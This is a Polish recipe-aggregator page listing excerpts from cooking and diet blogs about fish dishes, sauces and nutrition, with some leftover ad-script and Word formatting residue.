rynku sprzedawanych pod taką etykietą jest bardzo kiepskiej jakości. Trzeba bardzo uważać na skład, przede wszystkim na cukier oraz wzmacniacze smaku. Polecam taki, który w składzie ma jedynie ryby (sardele) i sól. Nie jest łatwo o taki, ale dla chcącego nic trudnego… Mój zdecydowany faworyt to Red Boat Fish Sauce . Źródło białka W kwestii obiadu białeczko to wręcz(...)także uczucie sytości. Nie warto zatem go pomijać, zwłaszcza, że obiad to często główny posiłek dnia. Do tego dania pasuje większość rodzajów mięsa ( drób , wołowina , wieprzowina ), a także niektóre ryby lub owoce morza . Wegetarianie lub weganie, którzy nie obawiają się produktów sojowych mogą natomiast postawić na tofu lub zjeść sam makaron z warzywami. U mnie padło na mieszankę owoców

Modern Cave Girl
Pieczony łosoś z zieloną sałatką 78

Pieczony łosoś to nie tylko pyszna, ale też bardzo zdrowa ryba, bogata między innymi w kwasy Omega-3 i Omega-6. Przygotowana w piekarniku jest bananie prosta, a jednocześnie zachwyca swoim smakiem. Podana z zieloną sałatką, stanowi pełnowartościowy i lekkostrawny posiłek, dobry zarówno dla dzieci, jak dorosłych. Przygotowanie takiego obiadu jest naprawdę łatwe i szybkie, a efekt może Cię pozytywnie(...)smaku Pieczony łosoś z zieloną sałatką – przepis Łososia podzielić na dwie porcje, z każdej z nich ostrożnie odciąć skórę. Sprawdzić, czy nie ma ości, ewentualnie je usunąć. Rybę umyć pod ciepłą wodą i osuszyć papierowym ręcznikiem. W małej miseczce umieścić składniki marynaty – miód, sok z cytryny, sos sojowy i oliwę. Wcisnąć ząbek czosnku, dodać sól i pieprz

Kulinarnyblog.pl - wiesz jak gotować!
Surówka z młodej kapusty z kukurydzą 64

śmietany. Składniki łączy klasyczny sos koperkowy na bazie oleju i soku ze świeżo wyciśniętej cytryny. Idealna surówka do klasycznego schabowego, do kurczaka z piekarnika oraz do smażonej lub pieczonej ryby. Doskonale sprawdzi się również jako warzywny dodatek do domowego kebaba oraz kiełbasy i karkówki z grilla. Surówka z młodej kapusty na surowo jest soczysta, chrupiąca i aromatyczna. W sezonie(...)czosnku oraz koperku przygotuj sos. Dopraw do smaku solą oraz pieprzem. Wymieszaj ze składnikami sałaki. Jeśli trzeba dopraw jeszcze ewentualnie solą i pieprzem. Podawaj jako dodatek mięs drobiowych, wieprzowiny, ryb oraz jako samodzielną zdrową przekąskę. Ta prosta surówka z młodej kapusty do obiadu będzie świetnie smakować również z sosem czosnkowym. Polecamy również przepis na młodą kapustę z koperkiem

Kuchnia Na Wypasie
Sałatka z wędzonym łososiem 95

kolację czy domową imprezę. Często robię sobie taką sałatkę do pracy, bo jest bardzo sycąca i nie muszę dodatkowo do niej dokładać np. pieczywa. Uwielbiam połączenie sera i wędzonej ryby, w szczególności łososia. Do tego delikatne świeże listki, garść rukoli – nie da się przejść koło tego smaku obojętnie. (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z wędzonym łososiem – Składniki(...)nóż w gorącej wodzie, dzięki temu ser nie będzie poszarpany i nie będzie się rozpadał i nieestetycznie wyglądał. Łososia wędzonego podziel palcami na drobniejsze kawałki, nie ma potrzeby rozcinania ryby za pomocą noża. Na sałatę nałóż pomidorki, ser feta, na wierzch delikatnie poukładaj wędzonego łososia. Na sałatkę wylej odrobinę oliwy z oliwek oraz pokrop sokiem z cytryny. Smacznego! (adsbygoogle

To Musisz Wiedzieć
Ceviche z łososiem wg Aleex 79

rodzaj sałatki z owocami morza, która pochodzi najprawdopodobniej z Wicekrólestwa Peru. Potrawa popularna jest w przybrzeżnych regionach Ameryki Łacińskiej i na Karaibach. Tradycyjne ceviche przyrządza się, zalewając surową, posiekaną rybę sokiem z cytrusów (najczęściej limonki), z dodatkiem cebuli, papryczki chili i soli, i pozostawiając do krótkiego zamarynowania. Ceviche zwykle podawane jest wraz z przystawkami takimi jak słodkie ziemniaki, sałata, kukurydza(...)mała czerwona cebula  • 1 małe dojrzałe awokado  • ostra pasta paprykowa chili  • kilka gałązek szczypiorku  Sposób przygotowania:   1. Łososia podzielić na kawałki, skórę odrzucić. Kawałki ryby skropić sokiem z limonki lub cytryny. Odstawić na kilkanaście minut. 2. Cebulę pokroić w drobną kostkę. 3. Awokado obrać, pokroić na plasterki i skropić sokiem z limonki

W mojej kuchni
Placuszki z tuńczyka 59

wodzie lub w sosie własnym 2 duże jajka 6 – 7 łyżek bułki tartej 3 łyżki posiekanej pietruszki szczypta soli szczypta pieprzu 1 łyżka oleju kokosowego lub rzepakowego Przygotowanie: Rybę odsączyć z wody/sosu i przełożyć do miski. Dodać roztrzepane jajka i natkę pietruszki. Całość wymieszać za pomocą łyżki lub ręką, dosypując bułkę tartą (masa ma być zbita, tak aby spokojnie można(...)było ją formować) i doprawić do smaku. Uformować niewielkie placuszki i usmażyć na oleju z obu stron. Krok po kroku: 1. Odsączyć tuńczyka 2. Do ryby dodać pozostałe składniki 3. Wymieszać całość z bułką tartą 4. Uformować małe kotleciki 5. Usmażyć z obu stron na oleju Pobierz wersję do druku: Pobierz Placuszki z tuńczyka Artykuł Placuszki z tuńczyka pochodzi

KuchniaWeDwoje.pl
Łosoś w cieście francuskim ze szpinakiem 54

odrobina oliwy 1 łyżeczka sezamu lub maku Przygotowanie: Z łososia zdjąć skórę, wypłukać i osuszyć. Szpinak rozmrozić, a ser mozzarella pokroić w kostkę. Na ciasto francuskie wyłożyć plaster łososia, rybę delikatnie posolić. Na łososia wyłożyć kawałki sera, a na ser szpinak. Szpinak przyprawić gałką muszkatołową i pieprzem. Ciasto po bokach naciąć i naprzemiennie zawinąć rybę, tworząc gruby warkocz (krok(...)papierze do pieczenia przez 25 minut w 200 stopniach. Po upieczeniu pokroić w plastry i podawać z sosem czosnkowym. Krok po kroku: 1. Odciąć skórę z łososia 2. Przełożyć rybę na ciasto francuskie 3. Wyłożyć ser i szpinak 4. Wyciąć paski z ciasta i zapleść warkocz 5. Posypać sezamem i upiec Pobierz wersję do druku: Pobierz Łosoś w cieście francuskim

KuchniaWeDwoje.pl
Zapiekana ryba z brokułem 106

Zapiekana ryba z brokułem Piątkowa zapiekanka, filety rybne zapiekane z brokułem, polane pysznym sosem beszamel, posypane parmezanem a co najważniejsze zero smażenia. 10 porcji   30 minut czas przygotowania Składniki: ·        1 kg dowolnego fileta rybnego ·        Mąka pszennej do panierki ·        Sól(...)Pieprz Składniki dodatkowe: ·        5 dag sera parmezan ·        2 brokuł Sposób przygotowania ryby: 1.    Filety rybne kroimy na mniejsze kawałki, myjemy, osuszamy i doprawiamy solą, papryką oraz kurkumą. Panierujemy w mące, następnie układamy na blaszce wyłożonej papierem do pieczenia i smarujemy oliwą z oliwek. Pieczemy

Kulinarna Chwila
Pieczona polędwica z dorsza ze szparagami 76

Normal 0 21 false false false MicrosoftInternetExplorer4 To jedna z najsmaczniejszych ryb, która często gości na moim stole. Delikatne mięso w połączeniu ze szparagami i sosem beszamelowym, stanowi idealne połączenie smaków. Nie należy może do najtańszych, jednak co jakiś czas można pozwolić sobie na odrobinę „szaleństwa", do czego serdecznie zachęcam. <AG>  Składniki: 600 g polędwicy(...)łyżka mąki 300 ml mleka 1 łyżeczka gałki muszkatołowej sól, pieprz Przygotowanie: Polędwicę osuszamy, oprószamy solą i pieprzem.   Szparagi oczyszczamy, obłamujemy w miejscu, gdzie same pękają.   Rybę i warzywo, przekładamy do naczynia żaroodpornego.   Przygotowujemy sos:   Masło w rondelku rozgrzewamy, następnie wsypujemy mąkę, którą lekko podsmażamy. Powoli dodajemy mleko, cały czas mieszając, podgrzewamy. Sos do smaku doprawiamy

R'n'G Kitchen
Makaron z pesto, wędzonym pstrągiem i suszonymi pomidorami 81

końca byłam przekonana czy robię dobrze robiąc go na ciepło, z dodatkiem makaronu. Ostatecznie nie potrafiłam przestać jeść. Poważnie. Nie wiem czy to zasługa pesto, pomidorów czy samej ryby, wszystko jednak smakowało świetnie. Składniki: 250 g makaronu 75 g wędzonego pstrąga 5 suszonych pomidorów z zalewy 2 duże garści startego parmezanu pesto: duża garść rukoli 3 łyżki pestek dyni(...)dyni prażymy na patelni do zrumienienia. Po ostudzeniu wrzucamy je do blendera. Dorzucamy do niego umytą rukolę, czosnek, parmezan, oliwę, sok z cytryny, sól i świeżo zmielony pieprz. Miksujemy. Rybę rwiemy palcami, na wszelki wypadek przeszukujemy czy nie ma w niej ości. Pomidory kroimy w plasterki. Makaron gotujemy al dente, przecedzamy go, wrzucamy go z powrotem do garnka. Nie przecedzajcie

Kardamonovy
Dzień Książki dla Dzieci – 2 kwietnia 90

czyta, porównuje, przerysowuje je w swoje prace plastyczne i swoje komiksy. Moja nastolatka ostatnio wspomagała się tą książka, gdy przygotowywała się do egzaminu z biologii z szóstej klasy (stawonogi, ryby, skorupiaki, pierścienice i inne tego typu rewelacje). W książce tej znajdziemy zilustrowane i podpisane dokładnie 1000 organizmów i obiektów, na które można się natknąć pod wodą, od barwnych ryb i koralowców po okręty podwodne i statki pirackie. Twarda okładka, 32 strony, data wydania 2021 „Encyklopedia obrazkowa. Jedzenie” Wydawnictwo Wilga ilustracje Nikki Dyson Tą książkę zamówiłam dla mojej najmłodszej córki. No dobra, tę książkę zamówiłam dla siebie i trochę dla dzieci też :)) No co ja poradzę, że uwielbiam książki o jedzeniu i rozmowy o jedzeniu a przy

Dorota Smakuje
Karmelowa babka z krówkami 131

  Wielkanoc to święto jajek i babek. Babki mogą być najróżniejsze - drożdżowe, ucierane, piaskowe, białkowe, czekoladowe, a nawet z budyniu lub galaretki. Dzisiaj proponuję pyszną i

Korniszonki
Pasta jajeczna z wędzonym pstrągiem i sosem tatarskim 100

niego kapary. Albo ogórki konserwowe. Zioła. Albo na co będziecie mieli tylko ochotę. U mnie trochę klasyczniej, ale z dodatkiem chrzanu. Ta odrobina chrzanu dobrze smakowała z wędzoną rybą, wierzcie mi. A jak tytułowej pasty nie rozdziabiecie na śmierć, jak ja, wyjdzie z tego w sumie sałatka (zwiększcie tylko ilość jajek i ryby). To jak? Może jednak wyląduje

Kardamonovy
Tarta jaglana z rybą 192

Składniki: 200 g kaszy jaglanej 4 jajka 300 g fileta z ulubionej ryby, u mnie dorsz 200 g mrożonego groszku 100 g szpinaku 120 g sera żółtego 50 g jogurtu … Czytaj dalej Tarta jaglana z rybą

czarrna od kuchni
Pieczony łosoś na 2 sposoby 48

Większość z listy produktów każdy z nas ma w domu, a jak nie ma to bez problemu kupi w każdym markecie. Nie musicie znać się na obróbce i przygotowaniu ryby. Wystarczy, że pokroicie je w podłużne filety, włożycie do piekarnika i voilà, po 20 minutach mamy wspaniałą rybę na obiad. 1. ŁOSOŚ Z MIODEM I SEZAMEM Składniki: – 200g

Be Fit Be Strong
Kluski na parze ala BAO z pieczonym łososiem 149

ogórek zielony liście ulubionej sałaty ½ cebuli 1 ogórek kiszony 2 duże łyżki majonezu 2 łyżeczki pasty wasabi Olej Sól Pieprz           RYBA: Oddzielamy ostrym nożem mięso od skóry. Dzielimy rybę na kawałki około 6x6 cm. Układamy rybę na papierze do pieczenia, smarujemy olejem, skrapiamy sokiem z cytryny, posypujemy solą i pieprzem. Pieczemy

Bon Appetit Małgorzaty
Tort kawowy kruchy, z nutą porzeczki 110

Kruchy tort kawowy to tort idealny. Delikatne, rozpływające się blaty, przełożone lekkim kremem kawowym, a wszystko podkreślone cierpką nutą galaretki porzeczkowej. Czego chcieć więcej? :) Polecam przepis

Korniszonki
Garnek garnkowi nie jest równy 93

gotowania spaghetti, grubego makaronu oraz warzyw. Garnki do gotowania na parze Większość osób kojarzy garnki do gotowania na parze z gotowaniem warzyw. Tymczasem można w nich przygotować również ryby, mięso, a nawet sosy. Składają się one z dwóch lub trzech poziomów- z naczynia na wodę oraz sit. Do gotowania na parze konieczna jest również pokrywka. Gotowanie na parze należy(...)parze, tylko wykorzystujemy wywar, jaki powstał w naczyniu w trakcie gotowania. Jeśli chcemy przyrządzić do gotowanego na parze dania sos, do wody dodajemy ulubione przyprawy oraz zioła. Gotując ryby dodajemy białego wina, a do potraw mięsnych czerwonego. Aby zagęścić powstały sos możemy użyć warzyw tj. cebula, seler, czy marchew. Wrzucamy je do wody na początku gotowania. Na koniec całość

Kulinarnyblog.pl - wiesz jak gotować!
FIT SUM W ZIELONYM CURRY Z MAKARONEM Z MARCHEWKI 83

może być pyszne i sycące! Dzisiaj jedno z ulubionych moich dań, często je modyfikuje w zależności od tego co mam w lodówce. Znajdziecie w nim masę zdrowych warzyw, pyszną rybę - ja wybieram filety z suma, z mojego osiedlowego ekologicznego sklepu rybnego, ale równie dobrze sprawdzi się dorsz, łosoś (tu uważaj na kcal!), krewetki czy pstrąg łososiowy. SKŁADNIKI NA FIT CURRY(...)małe cukinie - 3 ząbki czosnku - 1 cebula czerwona - 1 czubata łyżka curry - 2 - 3 marchewki na makaron - 1/2 łyżeczki czarnego sezamu - dwie porcje ryby, sum filet - opcjonalnie boczniaki, pieczarki lub kalafior - łyżeczka około 7g skrobi ziemniaczanej - świeża kolendra lub pietruszka - korzeń imbiru - odrobinę otartej skórki z wyparzonej eko cytryny Marchewkę obierz ze skórki, za pomocą nożyka do obierania zrób

SMYKWKUCHNI
Insulinooporność – co należy o niej wiedzieć? 85

glukozy w naszej krwi nie zwiększy się tak jak po spożyciu samego banana. Jak więc komponować posiłki? Zadbaj, by znalazło się w nim źródło: Białka (chude mięso – np. drób, ryby, chudy nabiał – twarogi, jogurty, kefiry, nasiona roślin strączkowych – ciecierzyca, soczewica, tofu) Tłuszczu (orzechy, nasiona, oleje roślinne, tłuste ryby) Błonnika (produkty pełnoziarniste – chleb żytni, makaron pełnoziarnisty, ryż brązowy, kasze

kuron.com.pl
Spaghetti z rybą w pomidorach 112

Składniki: 150 g makaronu spaghetti 250 g fileta z ulubionej ryby 1 puszka krojonych pomidorów 1 cebula garść oliwek 2 łyżki kaparów 2 ząbki czosnku 1/2 marchewki 1 mini papryczka … Czytaj dalej Spaghetti z rybą w pomidorach

czarrna od kuchni
Dorsz na grzybach shimeji z zasmażanym ryżem 60

size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Dziś postanowiłem przyrządzić kolejne danie, którego głównym składnikiem jest ryba morska. Dorsz- o tą rybę toczone były wojny (wojny dorszowe) i nic w tym dziwnego, skoro jego mięso jest bogate w witaminy i minerały i bardzo smaczne! Żeby podkreślić(...)masło wrzucamy dorsza oprószonego solą i pieprzem. Co chwilę podlewamy rozgrzanym tłuszczem. Smażymy na rumiano z obu stron (po 2 min). Na talerz wykładamy ½ porcji grzybków, ½ ryżu, na wierzch ryba, obok surówka.       Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Polub się z tłuszczem i chudnij zdrowo! 59

tłuszczowe – maksymalnie 15% Znajdziemy je w: oliwie z oliwek, olejach, orzechach. wielonienasycone kwasy tłuszczowe – od 6% do 10% energii Znajdziemy je w: olejach, orzechach, pestkach, awokado, tłustych rybach. Najważniejsze dla naszego zdrowia i właściwego funkcjonowania organizmu są niezbędne nienasycone kwasy tłuszczowe (NNKT) . Są to kwasy egzogenne, czyli takie, które musimy dostarczyć wraz z pożywieniem bo nasz organizm(...)linolowy, linolenowy i arachidonowy. Wielonienasycone kwasy tłuszczowe omega-3 i omega 6 – gdzie ich szukać? Omega-3: olej rzepakowy, siemię lniane i olej lniany, olej arachidowy, awokado, tłuste ryby morskie, migdały, orzechy włoskie, skorupiaki, tofu. Omega-6: olej słonecznikowy, sojowy, kukurydziany, z pestek winogron, z kiełków pszenicy, nasiona, orzechy. Jakie są widoczne objawy niedoborów NNKT? sucha, łuszcząca się

Natka Pietruszki
Surówka z kiszonej kapusty z ananasem 63

kombinowałam, kombinowałam i odpuściłam. Niektórych rzeczy się nie rusza. Parę dni temu kupiłam kiszoną kapustę do kaszanki. Klasycznie kapusty kupiłam za dużo, postanowiłam zrobić z niej surówkę do ryby. Zaczęłam ją szatkować, dodałam resztę składników (na szczęście zapomniałam dodać cukier), wymiąchałam, odstawiłam. A później zobaczyłam na blacie puszkę ananasa. I tak pomyślałam, że kiszona kapusta lubi słodkie dodatki(...)nikomu nic się nie stało, to jeszcze wszystkim mega smakowało. Wrąbaliśmy całą miskę, razem z Tolką. Surówka z kiszonej kapusty z ananasem idealnie sprawdziła się do pieczonego dorsza. Ryby zresztą też lubią dodatek owoców, więc to wszystko naprawdę świetnie zagrało. Dobrze, że nie dodałam cukru na początku, bo surówka chyba byłaby już dla nas za słodka. Ale pamiętajcie

Kardamonovy
Dorsz zapiekany z ćwikłą 84

niemal) każdy piątek dziś u mnie na talerzu króluje ryba. Ponoć dorsz nie komponuje się dobrze z burakami. Co prawda nie wiem, dlaczego wiele osób tak uważa, ale pomyślałam, że skoro nie buraki, to może w takim razie ćwikła? 😄 Tak na poważnie to podawałam już kiedyś rybę z surówką z gotowanych buraczków i nie widziałam w tym żadnego problemu. Ćwikła(...)już troszkę coś innego, więc przyznaję, że był to pewien eksperyment. A że bez ryzyka nie ma zabawy, to przygotowałam dorsza zapiekanego z ćwikłą.  Ryzyko zdecydowanie się opłaciło - ryba wyszła pyszna! Dorsz zapiekany z ćwikłą - przepis na 4 porcje Do przygotowania dorsza będziesz potrzebować: 4 filety z dorsza, 3 łyżki posiekanego szczypiorku, 3 łyżki ćwikły, 3 łyżki jogurtu naturalnego

Z notatnika dietetyka
Sos chrzanowy 87

Szybki przepis na sos chrzanowy, idealny do jajek, mięsa, ryb, wędlin, do obiadu. Super sos chrzanowy na zimno, prosty skład i ekspresowe wykonanie. Taki sos sprawdzi się na co dzień, jak i na świątecznym stole. Nie wyobrażamy sobie Świąt Wielkiejnocy bez jajek, a jak jajka to i sos chrzanowy. Sos  można przyrządzać na ciepło lub na zimno(...)jajka i wędliny. Coraz częściej sos chrzanowy dodaje się do sałatek. Jeśli sałatka ma w składzie słodkie dodatki, sos chrzanowy sprawdzi się doskonale. Sos chrzanowy pasuje także do ryby, mięsa ( wieprzowina, wołowina, baranina, królik), drób ten bardziej tłusty. Wszelkie pieczenie, pasztet, schab pod każdą postacią lubią towarzystwo sosu chrzanowego. Nie mogę pominąć tego, że czebureki najlepiej smakują z sosem

Dieta moja pasja
Pasta z pieczonej makreli – pomysł na kanapki 93

Makrela to dość dobrze znana ryba, chociaż głównie dostępna jako wędzona. Prawdopodobnie dlatego że bardzo szybko się psuje a wędzenie przedłuża jej okres ważności. Ostatnio w mojej okolicy mogę dostać ją świeżą z czego często korzystam ku mniejszej lub większej uciesze mojej rodzinki. Czy tak jak ja są tu jeszcze inni fani tej super smacznej i zdrowej ryby? Składniki

wysmienity
Pączki z serków homogenizowanych 59

ktoś z niego skorzysta. U mnie problem tkwi chyba jedynie w tonie tłuszczu, w jakim pączki muszą się smażyć. Nigdy nie ogarniałam smażenia na głębokim oleju, czy to frytek, ryb czy innych mięs. I to też nie jest tak, że nie jem nigdy frytek poza domem. Jem, smażone w ten sposób, ryby nad morzem. Jednak dopóki sama

Kardamonovy
RYBA ZAPIEKANA W WARZYWACH 69

Pyszna rybka zapiekana z warzywami to moja ulubiona w okresie zimowym. Wychodzi przepyszna i zawsze szybko znika 😍 Składniki: 40 dag fileta z ryby ( u mnie najczęściej dorsz) 2 średnie cebule kawałek pora 2 marchewki  1 pietruszka  kawałek selera kawałek sera żółtego 3 liście laurowe 3-4 ziarna ziela angielskie sól,pieprz papryka ostra w proszku  masło(...)klarowane  Umytą i osuszoną rybę pokroić na kawałki, można skropić sokiem z cytryny. Posypać solą i pieprzem.  Marchew, pietruszkę i seler obrać i zetrzeć na tarce na dużych oczkach. Cebulę i por obrać,pokroić w kostkę i zeszklić na maśle .Dodać resztę startych warzyw i dusić chwilkę. Dodać ziele angielskie, liść laurowy i przyprawić solą,pieprzem oraz papryką

Niespełnione zdolności kulinarne
Ryba w stylu tandoori 133

Składniki: 4 kawałki ryby 1/2 szklanki jogurtu naturalnego 1 łyżka soku z cytryny 1/2 szalotki 2 ząbki czosnku po 1/2 łyżeczki imbiru, garam masali i kurkumy 1/4 łyżeczki ostrej papryki … Czytaj dalej Ryba w stylu tandoori

czarrna od kuchni
Miska sushi bez zawijania 81

popularnego japońskiego dania. Pomysł, żeby składniki włożyć do miski, a nie zawijać w glony nori wziął się od hawajskiej potrawy: poke, czyli prostej sałatki z pokrojonej w kostkę surowej ryby i warzyw podanych na ugotowanym ryżu. Miska sushi bez zawijania powstaje dokładnie w taki sam sposób. Jeśli chodzi o składniki możesz spróbować odtworzyć skład ulubionego sushi, albo po prostu(...)dodać to co masz w kuchni, albo lubisz najbardziej. Nasza miska sushi bez zawiania bliska jest amerykańskiej wersji sushi California Rolls z rybą, awokado, marchewką i ogórkiem. Użyliśmy jednak wędzonego łososia, a nie świeżego. Dorzuciliśmy też rzodkiewkę dla koloru i chrupkości. Jest także jarmuż, którego w sushi raczej nie uświadczysz, ale uwierz, że świetnie pasuje do całego towarzystwa, bo jest

Niedzielny kucharz
Detoks – 4 dzień 97

Dziś w menu będzie dżem, świeże owoce – ananas i kiwi oraz ryba. Możecie użyć dowolnej ryby – mrożonej (pamiętajcie aby ją rozmrozić albo świeżej). Menu – 4 dzień detoksu – posiłki Śniadanie -> Kromka chleba razowego z dżemem niskosłodzonym II śniadanie -> 1 kiwi Obiad -> Ryba -> Sprawdź przepis Podwieczorek -> 2 plastry świeżego ananasa (możecie użyć

Kulinarnyblog.pl - wiesz jak gotować!
Marchewka z groszkiem 76

płynną” i raczej twardszą). Dziś przepis na taką marchewkę, którą właśnie przygotowuję najczęściej i która najbardziej mi smakuje. Tak przygotowana marchewka z groszkiem to idealny dodatek do ryby czy mielonych kotlecików. około 600 g marchewki 1/3 szkl. mrożonego groszku lub kilka łyżek groszku konserwowego z puszki ok. 1/2 łyżeczki soli 1-2 łyżeczki cukru 2 łyżki masła

Smaki Na Talerzu
Zdrowy i pożywny lunch – co warto zamówić w Krakowie? 83

wartościowych dań na całym świecie. Składa się wyłącznie z naturalnych składników, które zestawione ze sobą oferują unikalne doznania smakowe. Jego bazę stanowi gotowany ryż na bazie octu jabłkowego, surowe ryby, owoce morza, warzywa, wodorosty oraz dodatki – świeży imbir, ostry chrzan wasabi i sos sojowy. W składzie sushi nie ma zbędnych konserwantów, gdyż jest ono przygotowywane bezpośrednio przed dostarczeniem(...)daniem wartym polecenia nie tylko ze względu na jego doskonały smak. Jest to danie zdrowe i bogate w cenne składniki odżywcze niezbędne do prawidłowej pracy ciała i umysłu. Świeże ryby są bogatym źródłem cennych kwasów omega-3 i omega-6, z kolei biały ryż dostarcza węglowodanów, białka i energii do efektywnej pracy zarówno fizycznej, jak i umysłowej. Charakterystyczne

sierotka maRysia w kuchni
Sos niemiecki ( Sos Allemande) 91

oprócz tego jeszcze żółtka jaj oraz ewentualnie cebulę i nieco grzybów. Doprawiony jest natomiast sokiem z cytryny oraz gałką muszkatułową. Sos jest pyszny, doskonały do mięs, szczególnie kurczaka oraz ryb. Sos ten był znany również w Polsce w kuchni śląskiej. Na Górnym Śląsku podawano go najczęściej do ryb, klopsów i rolad. Przygotowanie sosu nie powinno sprawić żadnych problemów

Kuchnia Na Wypasie
Ryba w warzywach 172

Składniki: 4 kawałki ulubionej ryby, u mnie kostka z mintaja 1 papryka 1 marchewka 1/2 pora 2 ząbki czosnku 20 g suszonych pomidorów (bez oleju) 1 puszka krojonych pomidorów przyprawa … Czytaj dalej Ryba w warzywach

czarrna od kuchni
Mini tortille z makrelą 113

Mini tortille z makrelą to pomysł na pyszną przekąskę, którą możemy przygotować bardzo szybko, ponieważ zrobienie pasty z ryby jest niezwykle proste. Przekąski takie sprawdzą się w wielu sytuacjach. Możemy je serwować na kolację lub różnego rodzaju imprezy czy spotkania z przyjaciółmi. Mini tortille z makrelą to nietrudny przepis na zimną przekąskę, która sprawdzi się zawsze i podbije podniebienia(...)smakowych (np. pomidorowych), chociaż można też zrobić własne. Wszystko w zależności od tego, ile czasu mamy akurat do dyspozycji. Takie mini tortille z makrelą zasmakują nie tylko wielbicielom ryb! Przekąski z tortilli możemy nadziewać różnym farszem, a ja proponuję wypróbować z pastą rybną. Roladki z makrelą wyglądają efektownie i zachwycają swoim smakiem. Staną się hitem niejednej imprezy! (adsbygoogle = window.adsbygoogle

Danka Pichci
Jak mrozić jedzenie – 10 zasad 80

dań, ale na pewno nie do ich dekoracji – zupełnie stracą wygląd Sosy na bazie jajka – oddzielą się Jogurt naturalny, serek wiejski czy śmietana – staną się wodniste Ryby, która spędziły w lodówce kilka dni Jak rozmrażać jedzenie? Rozmrażanie to zupełnie inna historia – na osobny wpis . Najważniejsze, żebyście pamiętali, że wyjęty z zamrażalnika produkt spożywczy powinien całkowicie(...)zostawiamy, żeby riozmrażało się w temperaturze 0-4 stopnie. Inna metoda jest taka, że zalewamy produkt zimną wodą. Wodę zmieniamy co poł godziny, aż mrożonka się rozmrozi. Pamietaj, żeby ryby zawsze rozmrażać zapakowane w folię. Owoce morza możesz rozmrozić błyskawicznie, przelewajac je gorącą wodą. Od razu musisz je wtedy przygotować. Nie odstawiaj do lodówki czy na kuchenny blat. Szczegóły

Niedzielny kucharz
Łosoś pieczony w maśle orzechowym 56

sojowego, rozdrobnionego czosnku, miodu i imbiru robimy sos. Obtaczamy nim łososia, poza stroną ze skórą (reszta sosu przyda się w trakcie konsumpcji, wierzcie mi :)). Naczynie żaroodporne smarujemy odrobiną oleju, rybę wkładamy do naczynia (skórą do dołu), przykrywamy folią aluminiową i pieczemy 20 minut. Po tym czasie ściągamy folię i rumienimy lekko łososia. W międzyczasie gotujemy ryż do miękkości, odcedzamy(...)cebulę, rumienimy. Dodajemy do tego ryż, startą na najmniejszych oczkach skórkę z limonki i sok z limonki. Doprawiamy solą i mieszamy. Ryż wykładamy na talerze, kładziemy na nim kawałki ryby. Całość posypujemy pokrojonym w mniejsze kawałki szczypiorkiem, pokrojoną w plasterki chili i sezamem.  Artykuł Łosoś pieczony w maśle orzechowym pochodzi z serwisu Kardamonowy

Kardamonovy
Pesto z natki pietruszki z kaparami i słonecznikiem 72

właściwie cały rok. Jest to jakaś namiastka moich śródziemnomorskich smakowych potrzeb. Pesto z natki pietruszki z kaparami i słonecznikiem to sos, który można użyć do wielu potraw: do makaronów, ryb, drobiu, zup. My najczęściej jemy je z makaronem i jakąś sałatą z winegretem . Do tego oczywiście jakiś ser długodojrzewający i w sumie nic więcej nie potrzeba. Tym razem pesto(...)kolor – mam to przećwiczone. Przynajmniej mój blender powoduje, że pesto nie ma tak pięknie zielonego koloru, jak to robione w moździerzu. Pesto z koperku, które robiłam dziś do ryby, miażdżyłam ręcznie. Wyszło zielone jak łąka w środku lata (czy coś). Artykuł Pesto z natki pietruszki z kaparami i słonecznikiem pochodzi z serwisu Kardamonowy

Kardamonovy
Bakłażan a’la ryba po grecku 56

grało. Teraz wszystko gra, więc zabieram się za publikowanie przepisu. Tak sobie teraz myślę, że nie ma potrzeby się ograniczać jedynie do świąt, jeżeli chodzi o bakłażana a’la ryba po grecku. Bo tę prawdziwą rybę to jednak wolę zjeść od święta. Następnym razem, gdy będę stołować u siebie moją dwójkę wegan, na bank zrobię tytułowego bakłażana. Ten po kaszubsku(...)bardzo smakował, więc na bank ten także podejdzie. Jeżeli lubicie eksperymentować, nawet w okresie świąt, zróbcie koniecznie bakłażana udającego rybę po grecku. Składniki: 1 duży bakłażan 2 średnie marchewki 2 średnie korzenie pietruszki mały kawałek selera 1 cebula 2 ząbki czosnku 100 g koncentratu pomidorowego 1,5 szklanki wody liść laurowy 2 ziarna ziela angielskiego pół łyżeczki mielonej słodkiej papryki

Kardamonovy
Halibut w soczewicy 99

Halibut to popularna w Polsce ryba oceaniczna z rodziny flądrowatych, których jest największym przedstawicielem - może mieć nawet 3,5 metra długości oraz ważyć ponad 300kg. Halibut uznawany jest za rybę zdrową. Zawiera niewiele tłuszczu, jest za to bardzo dobrym źródłem białka. Znajdziemy w nim także wiele składników mineralnych, m.in. fosfor, magnez, potas czy selen, a także witaminy, głównie witaminę(...)halibut ma wiele właściwości zdrowotnych, nie wszyscy mogą go swobodnie spożywać. Wykluczyć ją ze swojej diety powinny kobiety ciężarne i karmiące piersią. Halibut, ze względu na to, że jest rybą dużą i długo żyjącą, gromadzi w swoim ciele związki rtęci, które mogą być niebezpieczne dla rozwijającego się płodu. Metylortęć łatwo przenika przez krew i łożysko, przy częstym spożywaniu może doprowadzić

Z notatnika dietetyka
Niedobór witaminy D - problem społeczny 117

częściowo nogi). Jest to jeden z powodów, dla których ponad 90% Polaków ma deficyt tej witaminy. Drugim źródłem witaminy D jest oczywiście dieta. Znajdziemy ją m.in. w tłustych rybach morskich, tranie, jajkach, drożdżach, wątróbce, a także w mniejszych ilościach w mięsie oraz produktach mlecznych. Niestety pokrycie zapotrzebowania na tą witaminę wyłącznie za pomocą diety jest niemal niemożliwe. Aby dostarczyć(...)odpowiednią ilość musielibyśmy wypić dziennie kilkanaście litrów mleka, zjeść kilkadziesiąt jajek lub kilkaset gramów tłustej ryby morskiej. Nie jest to ani realne, ani zdrowe. Badania przeprowadzone wśród osób z prawidłowym stężeniem witaminy D wskazują, że ok. 80% pochodzi z syntezy skórnej, a tylko 20% z diety. W krajach, w których nie stosuje się wzbogacania żywności w witaminę

Z notatnika dietetyka
Sałatka śledziowa na krakersach – warstwowa 90

